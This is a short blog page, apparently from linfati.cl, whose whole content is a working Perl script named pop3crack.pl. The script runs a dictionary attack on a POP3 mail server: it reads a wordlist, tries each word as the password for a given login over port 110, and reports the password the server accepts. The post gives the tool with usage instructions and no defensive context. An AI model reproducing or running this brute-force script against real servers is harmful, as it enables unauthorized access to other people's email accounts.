Home > linfati.cl > Pop3 dictionary attack in perl

Pop3 dictionary attack in perl

#!/usr/bin/perl 

use Socket; 

if (@ARGV < 3) {
	print "Use: perl pop3crack.pl server login wordfile\n";
	exit;
}

$count = 1;
open (LISTA,$ARGV[2]);
while ($pass = <LISTA>) {
	chop $pass;
	$authuser = "user $ARGV[1]\n";
	$authpass = "pass $pass\n";

	$NETFD = &makeconn($ARGV[0]);
	sysread $NETFD, $message,100 or die "error Can't Read Socket: $!";
        send($NETFD,$authuser,0);
        sysread $NETFD, $message,100 or die "error Can't Read Socket: $!";
        send($NETFD,$authpass,0);
        sysread $NETFD, $message,3 or die "error Can't Read Socket: $!";

	print " Try : $count - pass : $pass \n";
	if ($message eq "+OK") {
                print " pass : \"$pass\"\n";
		close $NETFD;
		exit;
	}
	close $NETFD;
	$count++;
}
close(LISTA);

print " pass not found\n";

sub makeconn {
	$server = gethostbyname($_[0]) or die "gethostbyname: cannot locate host: $!";
	socket(CONNFD, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
	connect(CONNFD, sockaddr_in(110, $server) ) or die "connect : $!";
	return CONNFD;
}
Categories: linfati.cl Tags: ,
  1. No comments yet.
  1. No trackbacks yet.